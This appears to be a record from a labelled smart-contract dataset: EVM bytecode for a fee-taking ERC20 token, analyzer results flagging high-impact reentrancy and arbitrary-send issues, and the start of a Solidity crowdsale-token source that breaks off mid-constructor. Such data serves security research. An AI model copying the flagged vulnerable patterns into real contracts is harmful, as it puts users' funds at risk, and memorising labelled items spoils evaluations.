ffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c129092919063ffffffff16565b611288565b600190509392505050565b61056f611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f390612c77565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610668611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612c77565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610753611280565b73ffffffffffffffffffffffffffffffffffffffff161461077357600080fd5b600047905061078181611c76565b50565b60006107ce600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce2565b9050919050565b6107dd611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f204d42554e4e5920000000000000000000000000000000000000000000000000815250905090565b60006109a261099b611280565b8484611453565b6001905092915050565b6109b4611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890612c77565b60405180910390fd5b60005b8151811015610ad2576001600a6000848481518110610a6657610a65612c97565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aca90612cf5565b915050610a44565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b17611280565b73ffffffffffffffffffffffffffffffffffffffff1614610b3757600080fd5b6000610b4230610784565b9050610b4d81611d50565b50565b610b58611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90612c77565b60405180910390fd5b600e60149054906101000a900460ff1615610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612d8a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda1000000611288565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0c57600080fd5b505afa158015610d20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d449190612dbf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612dbf565b6040518363ffffffff1660e01b8152600401610dfb929190612dec565b602060405180830381600087803b158015610e1557600080fd5b505af1158015610e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4d9190612dbf565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed630610784565b600080610ee1610928565b426040518863ffffffff1660e01b8152600401610f0396959493929190612e5a565b6060604051808303818588803b158015610f1c57600080fd5b505af1158015610f30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f559190612ed0565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555069152d02c7e14af6800000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611059929190612f23565b602060405180830381600087803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ab9190612f61565b5050565b6110b7611280565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612c77565b60405180910390fd5b60008111611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612fda565b60405180910390fd5b6111b760646111a98369d3c21bcecceda1000000611fd890919063ffffffff16565b61205390919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111ee91906128d8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef9061306c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f906130fe565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144691906128d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90613190565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a90613222565b60405180910390fd5b60008111611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d906132b4565b60405180910390fd5b61157e610928565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ec57506115bc610928565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4f57600e60179054906101000a900460ff161561181f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117225750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181e57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611768611280565b73ffffffffffffffffffffffffffffffffffffffff1614806117de5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c6611280565b73ffffffffffffffffffffffffffffffffffffffff16145b61181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490613320565b60405180910390fd5b5b5b600f5481111561182e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118db57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119865750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f45750600e60179054906101000a900460ff165b15611a955742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4457600080fd5b603c42611a519190613340565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa030610784565b9050600e60159054906101000a900460ff16158015611b0d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b255750600e60169054906101000a900460ff165b15611b4d57611b3381611d50565b60004790506000811115611b4b57611b4a47611c76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0057600090505b611c0c8484848461209d565b50505050565b6000838311158290611c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c519190612789565b60405180910390fd5b5060008385611c699190613396565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cde573d6000803e3d6000fd5b5050565b6000600654821115611d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d209061343c565b60405180910390fd5b6000611d336120ca565b9050611d48818461205390919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8857611d87612a32565b5b604051908082528060200260200182016040528015611db65781602001602082028036833780820191505090505b5090503081600081518110611dce57611dcd612c97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7057600080fd5b505afa158015611e84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea89190612dbf565b81600181518110611ebc57611ebb612c97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611288565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f8795949392919061351a565b600060405180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611feb576000905061204d565b60008284611ff99190613574565b905082848261200891906135fd565b14612048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203f906136a0565b60405180910390fd5b809150505b92915050565b600061209583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f5565b905092915050565b806120ab576120aa612158565b5b6120b6848484612189565b806120c4576120c3612354565b5b50505050565b60008060006120d7612366565b915091506120ee818361205390919063ffffffff16565b9250505090565b6000808311829061213c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121339190612789565b60405180910390fd5b506000838561214b91906135fd565b9050809150509392505050565b600060085414801561216c57506000600954145b1561217657612187565b600060088190555060006009819055505b565b60008060008060008061219b876123cb565b9550955095509550955095506121f986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122da816124da565b6122e48483612597565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161234191906128d8565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b60008060006006549050600069d3c21bcecceda1000000905061239e69d3c21bcecceda100000060065461205390919063ffffffff16565b8210156123be5760065469d3c21bcecceda10000009350935050506123c7565b81819350935050505b9091565b60008060008060008060008060006123e78a60085460056125d1565b92509250925060006123f76120ca565b9050600080600061240a8e878787612667565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c12565b905092915050565b600080828461248b9190613340565b9050838110156124d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c79061370c565b60405180910390fd5b8091505092915050565b60006124e46120ca565b905060006124fb8284611fd890919063ffffffff16565b905061254f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ac8260065461243290919063ffffffff16565b6006819055506125c78160075461247c90919063ffffffff16565b6007819055505050565b6000806000806125fd60646125ef888a611fd890919063ffffffff16565b61205390919063ffffffff16565b905060006126276064612619888b611fd890919063ffffffff16565b61205390919063ffffffff16565b9050600061265082612642858c61243290919063ffffffff16565b61243290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126808589611fd890919063ffffffff16565b905060006126978689611fd890919063ffffffff16565b905060006126ae8789611fd890919063ffffffff16565b905060006126d7826126c9858761243290919063ffffffff16565b61243290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561272a57808201518184015260208101905061270f565b83811115612739576000848401525b50505050565b6000601f19601f8301169050919050565b600061275b826126f0565b61276581856126fb565b935061277581856020860161270c565b61277e8161273f565b840191505092915050565b600060208201905081810360008301526127a38184612750565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ea826127bf565b9050919050565b6127fa816127df565b811461280557600080fd5b50565b600081359050612817816127f1565b92915050565b6000819050919050565b6128308161281d565b811461283b57600080fd5b50565b60008135905061284d81612827565b92915050565b6000806040838503121561286a576128696127b5565b5b600061287885828601612808565b92505060206128898582860161283e565b9150509250929050565b60008115159050919050565b6128a881612893565b82525050565b60006020820190506128c3600083018461289f565b92915050565b6128d28161281d565b82525050565b60006020820190506128ed60008301846128c9565b92915050565b60008060006060848603121561290c5761290b6127b5565b5b600061291a86828701612808565b935050602061292b86828701612808565b925050604061293c8682870161283e565b9150509250925092565b60006020828403121561295c5761295b6127b5565b5b600061296a84828501612808565b91505092915050565b600060ff82169050919050565b61298981612973565b82525050565b60006020820190506129a46000830184612980565b92915050565b6129b381612893565b81146129be57600080fd5b50565b6000813590506129d0816129aa565b92915050565b6000602082840312156129ec576129eb6127b5565b5b60006129fa848285016129c1565b91505092915050565b612a0c816127df565b82525050565b6000602082019050612a276000830184612a03565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a6a8261273f565b810181811067ffffffffffffffff82111715612a8957612a88612a32565b5b80604052505050565b6000612a9c6127ab565b9050612aa88282612a61565b919050565b600067ffffffffffffffff821115612ac857612ac7612a32565b5b602082029050602081019050919050565b600080fd5b6000612af1612aec84612aad565b612a92565b90508083825260208201905060208402830185811115612b1457612b13612ad9565b5b835b81811015612b3d5780612b298882612808565b845260208401935050602081019050612b16565b5050509392505050565b600082601f830112612b5c57612b5b612a2d565b5b8135612b6c848260208601612ade565b91505092915050565b600060208284031215612b8b57612b8a6127b5565b5b600082013567ffffffffffffffff811115612ba957612ba86127ba565b5b612bb584828501612b47565b91505092915050565b600060208284031215612bd457612bd36127b5565b5b6000612be28482850161283e565b91505092915050565b60008060408385031215612c0257612c016127b5565b5b6000612c1085828601612808565b9250506020612c2185828601612808565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c616020836126fb565b9150612c6c82612c2b565b602082019050919050565b60006020820190508181036000830152612c9081612c54565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d008261281d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d3357612d32612cc6565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d746017836126fb565b9150612d7f82612d3e565b602082019050919050565b60006020820190508181036000830152612da381612d67565b9050919050565b600081519050612db9816127f1565b92915050565b600060208284031215612dd557612dd46127b5565b5b6000612de384828501612daa565b91505092915050565b6000604082019050612e016000830185612a03565b612e0e6020830184612a03565b9392505050565b6000819050919050565b6000819050919050565b6000612e44612e3f612e3a84612e15565b612e1f565b61281d565b9050919050565b612e5481612e29565b82525050565b600060c082019050612e6f6000830189612a03565b612e7c60208301886128c9565b612e896040830187612e4b565b612e966060830186612e4b565b612ea36080830185612a03565b612eb060a08301846128c9565b979650505050505050565b600081519050612eca81612827565b92915050565b600080600060608486031215612ee957612ee86127b5565b5b6000612ef786828701612ebb565b9350506020612f0886828701612ebb565b9250506040612f1986828701612ebb565b9150509250925092565b6000604082019050612f386000830185612a03565b612f4560208301846128c9565b9392505050565b600081519050612f5b816129aa565b92915050565b600060208284031215612f7757612f766127b5565b5b6000612f8584828501612f4c565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612fc4601d836126fb565b9150612fcf82612f8e565b602082019050919050565b60006020820190508181036000830152612ff381612fb7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130566024836126fb565b915061306182612ffa565b604082019050919050565b6000602082019050818103600083015261308581613049565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130e86022836126fb565b91506130f38261308c565b604082019050919050565b60006020820190508181036000830152613117816130db565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061317a6025836126fb565b91506131858261311e565b604082019050919050565b600060208201905081810360008301526131a98161316d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061320c6023836126fb565b9150613217826131b0565b604082019050919050565b6000602082019050818103600083015261323b816131ff565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061329e6029836126fb565b91506132a982613242565b604082019050919050565b600060208201905081810360008301526132cd81613291565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b600061330a6011836126fb565b9150613315826132d4565b602082019050919050565b60006020820190508181036000830152613339816132fd565b9050919050565b600061334b8261281d565b91506133568361281d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338b5761338a612cc6565b5b828201905092915050565b60006133a18261281d565b91506133ac8361281d565b9250828210156133bf576133be612cc6565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613426602a836126fb565b9150613431826133ca565b604082019050919050565b6000602082019050818103600083015261345581613419565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613491816127df565b82525050565b60006134a38383613488565b60208301905092915050565b6000602082019050919050565b60006134c78261345c565b6134d18185613467565b93506134dc83613478565b8060005b8381101561350d5781516134f48882613497565b97506134ff836134af565b9250506001810190506134e0565b5085935050505092915050565b600060a08201905061352f60008301886128c9565b61353c6020830187612e4b565b818103604083015261354e81866134bc565b905061355d6060830185612a03565b61356a60808301846128c9565b9695505050505050565b600061357f8261281d565b915061358a8361281d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135c3576135c2612cc6565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136088261281d565b91506136138361281d565b925082613623576136226135ce565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061368a6021836126fb565b91506136958261362e565b604082019050919050565b600060208201905081810360008301526136b98161367d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136f6601b836126fb565b9150613701826136c0565b602082019050919050565b60006020820190508181036000830152613725816136e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa791c35485bfb56a26bcf16876e0c588c57d79f43cb7da9b68c78cfc39dd6db64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,648 |
0x760cFeAC0497cC0A124484fF48ABb135Fd68B9Bf
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 450000000000000000*10**1;
uint256 public constant basePrice = 1125000000000000*10**1; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 90000000000000000*10**1;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
